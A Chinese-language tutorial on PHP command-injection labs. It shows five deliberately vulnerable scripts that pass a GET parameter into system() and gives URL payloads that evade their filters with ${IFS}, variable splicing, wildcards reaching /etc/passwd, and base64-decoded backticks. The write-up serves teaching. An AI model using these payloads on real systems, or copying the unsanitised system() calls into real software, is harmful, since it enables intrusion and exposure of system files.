命令执行漏洞
应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命令执行漏洞。它属于高危漏洞之一。
01-命令执行漏洞
源码分析
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
先ping两次,因为$ip是一个可控参数,可以通过Linux下的命令连接符执行多条命令,达到攻击的目的
这里以用id来直接获取用户uid gid gruops
?ip=127.0.0.1;id
02-命令执行漏洞空格绕过
源码分析
<?php
if(isset($_GET['ip'])){
if (preg_match('/ /', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
这里用preg_match()对ip中的空格进行过滤
我们以cat 02.php为例
很明显这里显示了error!!!报错信息说明无法直接对其进行执行,需要进行绕过
${IFS}是shell的特殊环境变量,是Linux下的内部域分隔符。$IFS中存储的值可以是空格、制表符、换行符、或者其他自定义符号。
?ip=127.0.0.1;cat${IFS}02.php
这里就不仅仅显示了ping的结果还显示了和该页面一样的结果因为02.php就是该页面
03-命令执行漏洞关键命令绕过
源码分析
<?php
if(isset($_GET['ip'])){
if (preg_match('/cat/', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
这里是对cat这个命令进行了绕过,我们用变量拼接进行绕过(还可以使用空变量绕过,\绕过,系统变量绕过和通配符绕过)
?ip=127.0.0.1;a=c;b=at; $a$b 03.php
04-命令执行漏洞通配符绕过
源码分析
<?php
if(isset($_GET['ip'])){
if (preg_match('/etc|passwd/', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
这里过滤了/etc|passwd/这个命令,我们要查看这个文件可以用?进行绕过(*可以绕过,是代表0到多个字符;[]内为范围,代表该字符中的任意一个字符)
?ip=127.0.0.1;cat /???/????wd?
这样就成功查看到了passwd文件的内容
05-命令值向漏洞Base64编码绕过
源码分析
<?php
if(isset($_GET['ip'])){
if (preg_match('/id/', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];
}
system("ping -c 2 ".$ip);
}else{
exit();
}
?>
这个是对id进行了过滤,我们现在就要执行id这个命令,那我们就可以用Base64编码一下编码的结果是aWQ=再利用linux自带的base64 -d进行解码,这样就绕过了正常的命令。
?ip=127.0.0.1;`echo "aWQ=" |base64 -d`
到这里就全部结束了。